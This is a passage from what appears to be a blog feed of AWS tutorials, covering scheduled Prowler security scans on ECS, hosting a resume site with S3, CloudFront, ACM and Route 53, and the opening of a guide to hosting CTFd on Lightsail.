<p><em>Note:</em> You can name the repository anything you&apos;d like, but if you choose a different name be sure to update the command in the next step to reflect that change.</p>
<ol start="3">
<li>
<p><strong>Prepare Docker for AWS ECR Login:</strong></p>
<p>Before pushing the Docker image, you need to authenticate your Docker client to the Amazon ECR registry. Run the AWS CLI <code>get-login-password</code> command:</p>
<pre><code class="language-bash">aws ecr get-login-password --region &lt;your-region&gt; | docker login --username AWS --password-stdin &lt;your-account-id&gt;.dkr.ecr.&lt;your-region&gt;.amazonaws.com
</code></pre>
<p>Replace <code>&lt;your-region&gt;</code> with your AWS region (in both places) and <code>&lt;your-account-id&gt;</code> with your AWS account ID.</p>
</li>
<li>
<p><strong>Tag Your Docker Image:</strong></p>
<p>Before pushing, you need to tag the Docker image with the ECR repository URL:</p>
<pre><code class="language-bash">docker tag prowler-auto:latest &lt;your-account-id&gt;.dkr.ecr.&lt;your-region&gt;.amazonaws.com/prowler-repository:latest
</code></pre>
</li>
<li>
<p><strong>Push the Docker Image to ECR:</strong></p>
<p>Now, you can push your Docker image to the ECR repository:</p>
<pre><code class="language-bash">docker push &lt;your-account-id&gt;.dkr.ecr.&lt;your-region&gt;.amazonaws.com/prowler-repository:latest
</code></pre>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/08/docker_push-1.png" alt="Automating AWS Prowler Scans" loading="lazy"></p>
<ol start="6">
<li>
<p><strong>Verify in ECR Console:</strong></p>
<p>Go back to the Amazon ECR console and navigate to your <code>prowler-repository</code>. You should see your Docker image listed there.</p>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/08/ecr_image-1.png" alt="Automating AWS Prowler Scans" loading="lazy"></p>
<p>Great! You&apos;ve successfully set up an ECR registry and pushed your Prowler Docker image to it.</p>
<h2 id="configuring-the-ecs-task-definition">Configuring the ECS Task Definition</h2>
<p>Task definitions specify the container information for your application in Amazon ECS. Follow the below steps to set up the task definition for your Prowler Docker container:</p>
<ol>
<li>
<p><strong>Navigate to Amazon ECS:</strong></p>
<p>Log in to the AWS Management Console and open the Amazon ECS console at <code>https://console.aws.amazon.com/ecs/</code>.</p>
</li>
<li>
<p><strong>Create a New Task Definition:</strong></p>
<ul>
<li>Click on <code>Task Definitions</code> in the left navigation pane.</li>
<li>Click on <code>Create new Task Definition</code>.</li>
</ul>
</li>
<li>
<p><strong>Configure Task and Container Definitions:</strong></p>
<ul>
<li><strong>Task Definition Name:</strong> Provide a name, for instance, <code>prowler-task-definition</code>.</li>
<li><strong>Infrastructure Requirements:</strong> Leave AWS Fargate selected, and leave everything else as the default unless you would like to adjust the CPU and Memory to your needs.</li>
<li><strong>Task Role:</strong> Select or create a new role that has the necessary permissions. Ensure this role has the three required <a href="https://github.com/prowler-cloud/prowler">Prowler policies</a> and an additional custom policy to put objects into the desired S3 bucket.</li>
<li><strong>Task Execution Role:</strong> If you don&apos;t have one, AWS can create a new role with necessary permissions for you.</li>
</ul>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/08/task_def_one.png" alt="Automating AWS Prowler Scans" loading="lazy"></p>
<ul>
<li><strong>Container Definitions:</strong>
<ul>
<li><strong>Name:</strong> <code>prowler-container</code>.</li>
<li><strong>Image URI:</strong> Provide the URL of the Docker image in ECR, e.g., <code>&lt;your-account-id&gt;.dkr.ecr.&lt;your-region&gt;.amazonaws.com/prowler-repository:latest</code>.</li>
<li><strong>Port Mappings:</strong> Click <code>Remove</code> next to the default container port mapping as this container does not need to expose any ports for inbound traffic.</li>
<li><strong>Docker Configuration:</strong> Click out on Docker configuration and specify your desired Prowler command in a comma-separated list, for example<code>aws,-f,us-east-1,us-east-2,us-west-2,-M,json,-B,&lt;my-bucket-name&gt;</code>.</li>
</ul>
</li>
</ul>
<p><em>Note:</em> A convenience of defining the command here and not within the docker container is that when we set up the EventBridge scheduler we can point it at the &quot;latest&quot; revision of this task definition. If you ever need to update what prowler is scanning or where it&apos;s being pushed you simply create a new task definition revision and change this command to reflect your updated needs.</p>
<ul>
<li>Once all details are filled, click <code>Create</code>.</li>
</ul>
<p><img src="https://simulationcyber.com/content/images/2023/08/container_def.png" alt="Automating AWS Prowler Scans" loading="lazy"><br>
<img src="https://simulationcyber.com/content/images/2023/08/docker_command.png" alt="Automating AWS Prowler Scans" loading="lazy"></p>
<ol start="4">
<li>
<p><strong>Verify Task Definition:</strong></p>
<p>Go back to the ECS console and navigate to <code>Task Definitions</code>. You should see your <code>prowler-task-definition</code> listed there.</p>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/08/verify_task.png" alt="Automating AWS Prowler Scans" loading="lazy"></p>
<p>You&apos;ve now configured an ECS Task Definition ready to run Prowler scans using your Docker container.</p>
<h2 id="setting-up-the-ecs-cluster">Setting Up the ECS Cluster</h2>
<p>Amazon Elastic Container Service (ECS) clusters enable you to manage and scale a fleet of Docker containers. By setting up an ECS Cluster, you create an environment where you can deploy the Prowler scans.</p>
<ol>
<li>
<p><strong>Navigate to Amazon ECS:</strong></p>
<p>Log in to the AWS Management Console and open the Amazon ECS console at <code>https://console.aws.amazon.com/ecs/</code>.</p>
</li>
<li>
<p><strong>Initiate Cluster Creation:</strong></p>
<ul>
<li>Click on <code>Clusters</code> in the left navigation pane.</li>
<li>Click on the <code>Create Cluster</code> button.</li>
</ul>
</li>
<li>
<p><strong>Name the Cluster and Configure Networking:</strong></p>
<ul>
<li>Provide a suitable name for your cluster, e.g., <code>prowler-cluster</code>.</li>
<li>Choose an existing VPC and select the appropriate subnets.</li>
</ul>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/08/create_cluster.png" alt="Automating AWS Prowler Scans" loading="lazy"></p>
<ol start="4">
<li>
<p><strong>Choose Infrastructure:</strong></p>
<ul>
<li>Under &quot;Infrastructure,&quot; leave the default selection as <code>AWS Fargate</code>.</li>
</ul>
</li>
<li>
<p><strong>Skip Additional Configurations:</strong></p>
<ul>
<li>Scroll down and adjust any other configurations you&apos;d like to, but beyond this all of the defaults should work.</li>
</ul>
</li>
<li>
<p><strong>Create the Cluster:</strong></p>
<ul>
<li>Review your configurations, and then click on the <code>Create</code> button.</li>
</ul>
</li>
<li>
<p><strong>Set Default Capacity Provider Strategy:</strong></p>
<ul>
<li>Once the cluster is created, click on its name to view its details.</li>
<li>Click on the &quot;Update Cluster&quot; button in the top right corner.</li>
<li>Define a default capacity provider strategy. Select <code>FARGATE</code> and leave the weight as <code>1</code>.</li>
<li>Click <code>Update</code>.</li>
</ul>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/08/update_cluster.png" alt="Automating AWS Prowler Scans" loading="lazy"></p>
<ol start="8">
<li>
<p><strong>Verify Cluster Creation:</strong></p>
<p>Return to the <code>Clusters</code> page. Your newly created <code>prowler-cluster</code> should now be listed.</p>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/08/cluster_verify.png" alt="Automating AWS Prowler Scans" loading="lazy"></p>
<p>Your ECS cluster is set up with a defined default capacity provider strategy and is prepared to run tasks.</p>
<h2 id="automating-with-amazon-eventbridge">Automating with Amazon EventBridge</h2>
<p>Amazon EventBridge is a serverless event bus service that allows easy connection between applications using data from your applications, AWS services, and integrated SaaS applications. We&apos;ll utilize EventBridge to automate the execution of our Prowler task on ECS at specified intervals.</p>
<ol>
<li>
<p><strong>Navigate to Amazon EventBridge:</strong></p>
<p>Log in to the AWS Management Console and open the Amazon EventBridge console at <code>https://console.aws.amazon.com/events/</code>. Then scroll down and click <code>Schedules</code> under the &quot;Scheduler&quot; feature.</p>
</li>
<li>
<p><strong>Create a New Schedule:</strong></p>
<ul>
<li>Click on <code>Create schedule</code>.</li>
<li>Provide a name and description for your schedule, e.g., <code>ProwlerScanScheduler</code>.</li>
</ul>
</li>
<li>
<p><strong>Define Schedule Pattern:</strong></p>
<ul>
<li>Under <code>Schedule pattern</code>, select <code>Recurring schedule</code>.</li>
<li>For daily scans at 6 AM, set the cron expression as <code>0 6 ? * * *</code>, and choose any Flexible time window per your needs.</li>
<li>If you&apos;d like to define date ranges for the scans to start or stop, enter those, otherwise leave it blank and click <code>Next</code>.</li>
</ul>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/08/schedule_pattern.png" alt="Automating AWS Prowler Scans" loading="lazy"></p>
<ol start="4">
<li>
<p><strong>Select Target:</strong></p>
<ul>
<li>Under <code>Select targets</code>, choose <code>ECS RunTask</code> from the menu.</li>
<li>For <code>Cluster</code>, select the ECS cluster you&apos;ve previously set up, e.g., <code>prowler-cluster</code>.</li>
<li>For <code>Task Definition</code>, select your Prowler task definition, e.g., <code>prowler-task-definition</code>.</li>
<li>Under <code>Subnets</code> and <code>Security groups</code>, specify the subnet and security group ID&apos;s. As a reminder, you can use private subnets if they have internet access via a NAT Gateway. In this case the security group doesn&apos;t need any inbound rules and should just have the default outbound rule.</li>
</ul>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/08/schedule_target.png" alt="Automating AWS Prowler Scans" loading="lazy"></p>
<ol start="5">
<li>
<p><strong>Configure Retry Policy (Optional):</strong></p>
<p>If you wish to retry the execution in case of failures, you can set the <code>Retry policy</code>. In this guide, we&apos;re setting it to try 3 times.</p>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/08/schedule_retry.png" alt="Automating AWS Prowler Scans" loading="lazy"></p>
<ol start="6">
<li>
<p><strong>Set Role:</strong></p>
<p>Near the bottom of the page we can create or choose a role for the scheduler to use to run the task definition. In this case the role that is created automatically by choosing <code>Create new role</code> is a good choice.</p>
</li>
<li>
<p><strong>Create the Rule:</strong></p>
<p>Click <code>Next</code> then review all your configurations and then click on the <code>Create</code> button.</p>
</li>
<li>
<p><strong>Verify Rule Creation:</strong></p>
<p>Return to the main EventBridge dashboard and ensure your <code>ProwlerScanScheduler</code> rule is listed.</p>
</li>
</ol>
<p>Congratulations! You&apos;ve now automated the execution of your Prowler scan task in ECS using Amazon EventBridge. The task will automatically run every day at 6 AM.</p>
<h2 id="conclusion">Conclusion</h2>
<p>In this guide, we&apos;ve successfully crafted a system that automates Prowler scans within an AWS environment, efficiently storing the results in an S3 bucket through a streamlined Docker container and ECS task setup. Utilizing EventBridge, we&apos;ve ensured consistent daily evaluations, providing a dynamic lens into our AWS security posture. Looking forward, the architecture&apos;s true power can be unlocked by integrating AWS Lambda. Such a function, triggered by new objects in our S3 bucket, offers the capability to push these Prowler results to various consumers, from AWS&apos;s SecurityHub or OpenSearch, or to external visualization tools, magnifying our insights and fortifying our cloud security.</p>
<p><img src="https://simulationcyber.com/content/images/2023/08/Automate_Prowler-2.png" alt="Automating AWS Prowler Scans" loading="lazy"></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Hosting a Resume on AWS]]></title><description><![CDATA[Step-by-step guide to host a personal resume website on Amazon Web Services (AWS) using S3 for static website hosting, CloudFront for content delivery, ACM for TLS encryption, and Route 53 for domain management. ]]></description><link>https://simulationcyber.com/hosting-a-resume-on-aws/</link><guid isPermaLink="false">64c6a498a4e3fff2cb8189ea</guid><category><![CDATA[Cloud Projects]]></category><dc:creator><![CDATA[Elizabeth Sims]]></dc:creator><pubDate>Sun, 30 Jul 2023 18:17:45 GMT</pubDate><media:content url="https://simulationcyber.com/content/images/2023/07/resume_architecture.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://simulationcyber.com/content/images/2023/07/resume_architecture.png" alt="Hosting a Resume on AWS"><p>Welcome to this tutorial! Today, we&apos;ll guide you through hosting your own resume on AWS. This will not only showcase your resume in a professional way but also your technical prowess by leveraging the AWS platform. Once you&apos;ve completed this project, creating a QR code to link to it, and adding it to your resume and business cards can be a great way to show potential employers your skills!</p>
<h2 id="prerequisites">Prerequisites</h2>
<p>Before we dive in, make sure you have the following:</p>
<ul>
<li>An AWS account</li>
<li>Some HTML/CSS/JS knowledge to create your resume (or willing to learn)</li>
<li>A local development environment (i.e., Visual Studio Code)</li>
<li>Python installed on your local machine (for running a local server)</li>
</ul>
<p><em>Note:</em> In this project, the Route 53 domain, hosted zone, and CloudFront distribution will cost you approximately $20 a year to host. If you&apos;d like to complete this project and stay entirely in the free-tier, but not have a custom domain and TLS encryption for hosting your resume, you can complete the first two steps only.</p>
<h2 id="table-of-contents">Table of Contents</h2>
<ol>
<li><a href="#creating-your-resume">Creating Your Resume</a></li>
<li><a href="#setting-up-s3-for-hosting">Setting up S3 for Hosting</a></li>
<li><a href="#setting-up-route-53-domain">Setting up Route 53 Domain</a></li>
<li><a href="#configuring-acm-for-tls-encryption">Configuring ACM for TLS Encryption</a></li>
<li><a href="#setting-up-cloudfront-distribution">Setting up CloudFront Distribution</a></li>
<li><a href="#testing-your-website">Testing Your Website</a></li>
</ol>
<h2 id="creating-your-resume">Creating Your Resume</h2>
<p>If you don&apos;t have a HTML/CSS/JS resume already, don&apos;t worry! There are several templates available that you can modify to your needs. For this tutorial, I will be using a template called <a href="https://www.themezy.com/free-website-templates/151-ceevee-free-responsive-website-template">Cevee</a>, but you can find a collection of other templates <a href="https://superdevresources.com/html-resume-templates/">here</a>. Once you&apos;ve chosen a template, you can use a local IDE, like Visual Studio Code, to edit the code.</p>
<p>To preview your resume locally, navigate to your project root directory, run <code>python3 -m http.server 8080</code>, and go to <a href="http://127.0.0.1:8080">http://127.0.0.1:8080</a> or <a href="http://localhost:8080">http://localhost:8080</a> in your web browser.</p>
<p>Once you&apos;re satisfied with how your resume looks locally, it&apos;s time to move onto AWS.</p>
<h2 id="setting-up-s3-for-hosting">Setting up S3 for Hosting</h2>
<p>Amazon S3 is an excellent option for hosting static websites due to its robustness, scalability, and easy setup process. Here are the steps you need to follow to configure an S3 bucket for static website hosting:</p>
<ol>
<li><strong>Create a new S3 bucket:</strong> Log into your AWS console and navigate to the S3 service. Click &quot;Create bucket&quot;, enter a unique name for your bucket, and select a region. The rest of the settings can be left at their defaults, then just click &quot;Create bucket&quot; at the very bottom.</li>
</ol>
<p><em>Note:</em> If you do plan on continuing all of these steps to setup a custom domain, it&apos;s best here to create a bucket with the exact same name as the domain you plan to use, i.e. Bucket name: resume-guide.simulationcyber.com.</p>
<p><img src="https://simulationcyber.com/content/images/2023/07/create_s3_bucket.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<ol start="2">
<li><strong>Enable static website hosting:</strong> After creating the bucket, click on its name to open it. Under the &quot;Properties&quot; tab, at the very bottom you will find the &quot;Static website hosting&quot; section. Click &quot;Edit&quot;, select &quot;Enable&quot;, and then provide &apos;index.html&apos; as the &quot;Index document&quot; name. You may also enter &apos;error.html&apos; in the &quot;Error document&quot; field if you have a custom error page.</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/07/enable_static_website.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<ol start="3">
<li><strong>Modify bucket policy to allow public read access:</strong> To initially test your website we can add a resource-based policy which allows public access, however later on if you choose to configure a CloudFront distribution to serve your website you can adjust the policy to instead only allow access to CloudFront. Navigate to the &quot;Permissions&quot; tab and click &quot;Edit&quot; under Block public access (bucket settings), then unclick block public access and ackknowledge and save. Once that&apos;s done your object <em>can</em> be public, but aren&apos;t just yet. Next click &quot;Bucket Policy&quot;. Enter the following policy, replacing &apos;your-bucket-name&apos; with the name of your bucket:</li>
</ol>
<pre><code>{
    &quot;Version&quot;:&quot;2012-10-17&quot;,
    &quot;Statement&quot;:[{
        &quot;Sid&quot;:&quot;PublicReadGetObject&quot;,
        &quot;Effect&quot;:&quot;Allow&quot;,
        &quot;Principal&quot;: &quot;*&quot;,
        &quot;Action&quot;:[&quot;s3:GetObject&quot;],
        &quot;Resource&quot;:[&quot;arn:aws:s3:::your-bucket-name/*&quot;
        ]
    }
    ]
}
</code></pre>
<p><img src="https://simulationcyber.com/content/images/2023/07/edit_block_public_access.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<p><img src="https://simulationcyber.com/content/images/2023/07/edit_bucket_policy-1.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<ol start="4">
<li><strong>Upload your website files:</strong> Now that your bucket is set up for hosting, you can upload your resume website files. Go to the &quot;Objects&quot; tab and click &quot;Upload&quot;. You can drag and drop your files or click &quot;Add files&quot; to browse your file explorer. Click &quot;Upload&quot; to start the upload process. You can also upload using the AWS CLI, <a href="https://simulationcyber.com/aws-cli-101/#part5">this blog post</a> can guide you through setting up your CLI and recursively uploading and downloading S3 objects.</li>
</ol>
<p><em>Note:</em> If you want to be able to share your website, but don&apos;t necessarily want search engines indexing it, you can include a robots.txt file in the root directory of this folder with the following content inside:</p>
<pre><code>User-agent: *
Disallow: /
</code></pre>
<p><img src="https://simulationcyber.com/content/images/2023/07/s3_file_upload.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<ol start="5">
<li><strong>Test your website:</strong> Once the upload is complete, you can test your website. Navigate back to the &quot;Properties&quot; &gt; &quot;Static website hosting&quot; section and click on the URL in the &quot;Endpoint&quot; section. This should open your resume website in a new browser tab (many browsers will force you to acknowledge it&apos;s an HTTP website before viewing).</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/07/first_website_test.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<p>That&apos;s it! You have successfully set up an S3 bucket for hosting your static resume website. If you are okay with not having SSL encryption, or using a custom domain for your resume, that&apos;s it! You can use the URL provided in the S3 console to share your new website. If you&apos;d like to set up those things, continue with this guide.</p>
<h2 id="setting-up-route-53-domain">Setting up Route 53 Domain</h2>
<p>Using TLS encryption for a custom domain in CloudFront requires you to own a custom domain, so we&apos;ll jump ahead a bit in the architecture straight to Route 53. Route 53 is a scalable and highly available domain name system (DNS) web service by AWS. Here, we will create a domain and link it with our CloudFront distribution.</p>
<p><em>Note:</em> If you already own a Route 53 domain, you can optionally setup your resume website using a subdomain such as <a href="https://resume-guide.simulationcyber.com">https://resume-guide.simulationcyber.com</a>. In this case you can skip to step 3 and set up the appropriate records in a similar fashion by prepending your subdomain by entering it in the box in the top left in the record creation page.</p>
<ol>
<li><strong>Purchase a domain:</strong> In the Route 53 dashboard, click on &quot;Registered Domains&quot; and then &quot;Register Domain&quot;. Enter the domain name you want to register and choose your domain extension (.com, .net, etc.). Follow the steps to purchase the domain. This process can take anywhere between a few minutes and a few hours, so it may be a good time to take a break and come back later.</li>
</ol>
<p><em>Note:</em> The annual fee for .com domains is $13, so you will pay this when initially registering your domain, and if you configure auto-renewal this charge will reoccur each year after purchase.</p>
<p><img src="https://simulationcyber.com/content/images/2023/07/domain_registration.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<ol start="2">
<li>
<p><strong>Create a hosted zone:</strong> After purchasing the domain, a hosted zone should automatically be created for it which you can find by clicking &quot;Hosted Zones&quot; on the left hand side of the Route 53 console.</p>
</li>
<li>
<p><strong>Create record sets:</strong> Within your new hosted zone, you&apos;ll need to create record sets that point to your CloudFront distribution. However, we still need to go create the CloudFront Distribution! Continue with subsequent steps and once you have your CloudFront distrubtion configured, complete this final step in Route 53.</p>
</li>
<li>
<p>Click &quot;Create record&quot;. If you&apos;re using a subdomain enter it under Record name in the top left, else you can leave this blank. Leave the record type as &apos;A&apos; and then click the button for Alias and two drop downs will appear. Choose CloudFront distribution for the first one, and for the second one, your distrubtion name should appear which will auto-fill your CloudFront&apos;s distribution domain name. Once this is set just click &quot;Create records&quot;</p>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/07/create_53_record.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<p>That&apos;s it! Your domain is now set up with Route 53. Due to DNS propagation, it might take a few minutes for these changes to take effect globally, so if your website isn&apos;t immediately accessible, don&apos;t worry - just give it some time.</p>
<h2 id="configuring-acm-for-tls-encryption">Configuring ACM for TLS Encryption</h2>
<p>Amazon Certificate Manager (ACM) provides and manages certificates needed for secure network communication. In this section, we&apos;ll configure an ACM certificate for your domain. Note that CloudFront requires the certificate to be created in the &apos;us-east-1&apos; (N. Virginia) region.</p>
<ol>
<li>
<p><strong>Request a certificate:</strong> Navigate to the ACM service in the AWS console, make sure you&apos;re in the &apos;us-east-1&apos; region, then click &quot;Request a certificate&quot;. Choose &quot;Request a public certificate&quot; and click &quot;Next&quot;.</p>
</li>
<li>
<p><strong>Add your domain names:</strong> In the domain name section, add the root domain and/or any subdomains you may be using in separate fields (for example, &apos;simulationcyber.com&apos; and &apos;resume-guide.simulationcyber.com&apos;).</p>
</li>
<li>
<p><strong>Choose a validation method:</strong> Choose DNS validation for easier setup and maintenance. Click &quot;Review&quot;.</p>
</li>
<li>
<p><strong>Review and request:</strong> Review your certificate details and click &quot;Confirm and request&quot;.</p>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/07/request_certificate.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<ol start="6">
<li><strong>Validate the certificate:</strong> Now you have to validate ownership of the domains you specified. Expand the domains under &quot;Pending validation&quot;, click &quot;Create record in Route 53&quot; and then &quot;Create&quot;. AWS will automatically create the DNS records necessary for validation. Oddly, I find this step to be a bit buggy with brand new ACM requests, make sure you keep repeating this until you get the green banner saying records have been created.</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/07/create_records-1.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<ol start="7">
<li><strong>Wait for the validation process:</strong> The validation process may take a little while (up to several hours). Once AWS has validated your domain ownership, your certificate status will change from &quot;Pending validation&quot; to &quot;Issued&quot;.</li>
</ol>
<p>Great job! Now you have a secure certificate for your domain issued by ACM. In the next step, we will use this certificate with our CloudFront distribution to ensure secure connections to your resume website.</p>
<h2 id="setting-up-cloudfront-distribution">Setting up CloudFront Distribution</h2>
<p>CloudFront is a content delivery network (CDN) provided by AWS, which can serve your content from edge locations closer to your users, improving load times and providing a smoother user experience. To set up CloudFront distribution for your S3-hosted website, follow these steps:</p>
<ol>
<li>
<p><strong>Create a new CloudFront Distribution:</strong> Navigate to the CloudFront service from your AWS Management Console and click &quot;Create Distribution&quot;.</p>
</li>
<li>
<p><strong>Specify your S3 bucket as the origin:</strong> On the next page, you will be asked to specify the origin settings. For the &quot;Origin Domain Name&quot;, you will see a list of your S3 buckets. Select the bucket where you are hosting your resume website. Leave the &quot;Origin ID&quot; as it auto-fills.</p>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/07/origin_domain.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<ol start="3">
<li><strong>Setup Origin Access Control:</strong> In the section &quot;Origin access&quot; select &quot;Origin access control settings (recommended).&quot; Then, next to the new drop down click &quot;Create control setting,&quot; leave everything as default and click &quot;Create.&quot; Then click on the drop down and make sure your new control setting is selected.</li>
</ol>
<p><em>Note:</em> Once the CloudFront is created you will need to take the policy statement CloudFront creates and modify the bucket policy on the S3 bucket to use this newly generated policy for CloudFront.</p>
<p><img src="https://simulationcyber.com/content/images/2023/07/create_control_setting.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<ol start="5">
<li>
<p><strong>Configure distribution settings:</strong> Scroll down to the &quot;Default Cache Behavior Settings&quot;. Make sure that &quot;Redirect HTTP to HTTPS&quot; is selected to ensure secure connections to your site. You can leave the rest of the settings at their defaults in this section.</p>
</li>
<li>
<p><strong>Set up the custom domain and SSL certificate:</strong> Under the section just labeled &quot;Settings&quot; at the very end, I recommend adjusting the price class to the option that makes the most sense for you. Then, add your custome domain into the box under Alternate domain name (CNAME). Finally, Choose the certificate that you created with ACM (make sure the certificate is in the &apos;us-east-1&apos; region, as CloudFront only sees those).</p>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/07/setup_domain_name.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<ol start="8">
<li>
<p><strong>Set the default root object:</strong> Also under &quot;Settings&quot;, fill in &quot;Default Root Object&quot; with &apos;index.html.&apos;</p>
</li>
<li>
<p><strong>Review and create the distribution:</strong> Finally, review your settings and click &quot;Create Distribution&quot;. It might take a while for your distribution to be deployed.</p>
</li>
<li>
<p><strong>Update S3 Bucket Policy:</strong> Once you create the distribution a banner will appear at the top of the page with a button that says &quot;Copy Policy.&quot; Click that and pop back over to your S3 bucket, inside of permissions, and edit the bucket policy and paste this over your old policy and save. Then edit the public access to reset it to block all public access as seen below:</p>
</li>
</ol>
<p><img src="https://simulationcyber.com/content/images/2023/07/edit_s3_policy.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<ol start="11">
<li><strong>Copy the Distribution Domain Name:</strong> Once the distribution is deployed, return to complete the final step in the section on <a href="#setting-up-route-53-domain">Setting up Route 53 Domain</a>.</li>
</ol>
<p>That&apos;s it for setting up your CloudFront distribution! Now your site is accessible worldwide with lower latency and secured with SSL. Additionally, with OAI setup, direct access to your S3 bucket is now restricted providing an additional layer of security.</p>
<h2 id="testing-your-website">Testing Your Website</h2>
<p><img src="https://simulationcyber.com/content/images/2023/07/successful_deployment.png" alt="Hosting a Resume on AWS" loading="lazy"></p>
<p>After all configurations, you should now be able to access your resume using the domain name you configured. Congratulations, you have successfully hosted your resume on AWS!</p>
<h2 id="conclusion">Conclusion</h2>
<p>Great job on making it to the end! You&apos;ve now successfully hosted your resume on AWS using a variety of services, such as S3 for storage, CloudFront for delivery, ACM for SSL encryption, and Route 53 for domain management.</p>
<p>Having a secure, fast-loading, and professional-looking resume website is an excellent way to stand out and showcase your skills and experiences. By hosting your website on AWS, you&apos;ve also demonstrated your ability to utilize and combine multiple AWS services, a skill highly valued in many tech-based roles.</p>
<p>If you&apos;d like to use this website to advertise your skills to possible employers you can create a QR code to put on your resume, business cards, etc.!</p>
<p>But this is just the start! There are many other AWS services that you can utilize to enhance your website further. In upcoming content, we&apos;ll explore how to use AWS Amplify to set up a CI/CD pipeline for your website. This will allow you to easily update your website and ensure that your changes are smoothly integrated and deployed.</p>
<p>We&apos;ll also take a look at how you can use an API Gateway and Lambda function to add more functionality to your website. For instance, you might want to add a contact form to your resume site, so recruiters can reach out to you directly from the page. By setting up a serverless backend with API Gateway and Lambda, you can easily make this happen.</p>
<p>Stay tuned for these exciting next steps in your AWS journey, and keep up the excellent work!</p>
<p>I hope you found this tutorial helpful. If you have any questions, feel free to reach out!</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[How to Host CTFd on AWS Lightsail]]></title><description><![CDATA[<p>This guide details the process for setting up a Lightsail instance with a static IP in AWS, configuring CTFd inside of a docker container on the instance with Nginx acting as a reverse proxy, using AWS CloudFront to serve as a CDN for the website, and finally configuring a custom</p>]]></description><link>https://simulationcyber.com/how-to-host-ctfd-on-aws-lightsail/</link><guid isPermaLink="false">62312feca5cdb5ba1b216331</guid><category><![CDATA[Cloud Projects]]></category><dc:creator><![CDATA[Elizabeth Sims]]></dc:creator><pubDate>Thu, 16 Mar 2023 01:07:00 GMT</pubDate><media:content url="https://simulationcyber.com/content/images/2022/03/CTFd-on-AWS-2.png" medium="image"/><content:encoded><![CDATA[<img src="https://simulationcyber.com/content/images/2022/03/CTFd-on-AWS-2.png" alt="How to Host CTFd on AWS Lightsail"><p>This guide details the process for setting up a Lightsail instance with a static IP in AWS, configuring CTFd inside of a docker container on the instance with Nginx acting as a reverse proxy, using AWS CloudFront to serve as a CDN for the website, and finally configuring a custom domain with SSL/TLS certificates to access your new CTF!</p><p>Prerequisites: An AWS account, and approximately $6-20 in monthly AWS costs, and a few hours of your time. Optional costs include approximately $10-20/year for a custom domain name</p><h2 id="table-of-contents">Table of Contents</h2><!--kg-card-begin: markdown--><p><a href="#part1">Part 1: Set up a Lightsail Instance and a Static IP</a><br>
<a href="#part2">Part 2: Configure CTFd on the Instance</a><br>
<a href="#part3">Part 3: Set up a Lightsail CloudFront Distribution (optional)</a><br>
<a href="#part4">Part 4: Configure the Firewall and Set Up a Reverse Proxy Using Nginx</a><br>
<a href="#part5">Part 5: Configuring a Custom Domain Name (optional)</a><br>
<a href="#part6">Part 6: Set up SSL/TLS Certificates on Host System (optional)</a><br>
<a href="#conclusion">Part 7: Conclusion</a></p>
<!--kg-card-end: markdown--><hr><p>Resources:<br>AWS Lightsail: &#xA0;<a href="https://lightsail.aws.amazon.com">https://lightsail.aws.amazon.com</a><br>AWS Route53: &#xA0; &#xA0;<a href="https://console.aws.amazon.com/route53">https://console.aws.amazon.com/route53</a><br>CTFd Github: &#xA0; &#xA0;<a href="https://github.com/CTFd/CTFd">https://github.com/CTFd/CTFd</a><br>CTFd Docs: &#xA0; &#xA0; &#xA0;<a href="https://docs.ctfd.io/docs">https://docs.ctfd.io/docs</a></p><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">Parts 3, 5, and 6 are optional if you don&apos;t care about having a custom domain name, or encrypting communcation with SSL/TLS to host your site over HTTPS. Alternatively, if you&apos;re hosting any other type of website and have it set up and running over HTTP on lightsail, parts 3 and 5, or 6 can be followed to add that same functionality to any lightsail hosted websites.</div></div><hr><!--kg-card-begin: markdown--><h3 id="part-1-set-up-a-lightsail-instance-and-a-static-ip-a-idpart1a">Part 1: Set up a Lightsail Instance and a Static IP <a id="part1"></a></h3>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><ol>
<li>Navigate to AWS Lightsail at <a href="https://lightsail.aws.amazon.com">https://lightsail.aws.amazon.com</a></li>
<li>Click &quot;Create Instance&quot;</li>
<li>Click &quot;OS Only&quot; and select &quot;Ubuntu 20.04 LTS&quot;</li>
<li>Scroll down and select the hardware for your instance</li>
</ol>
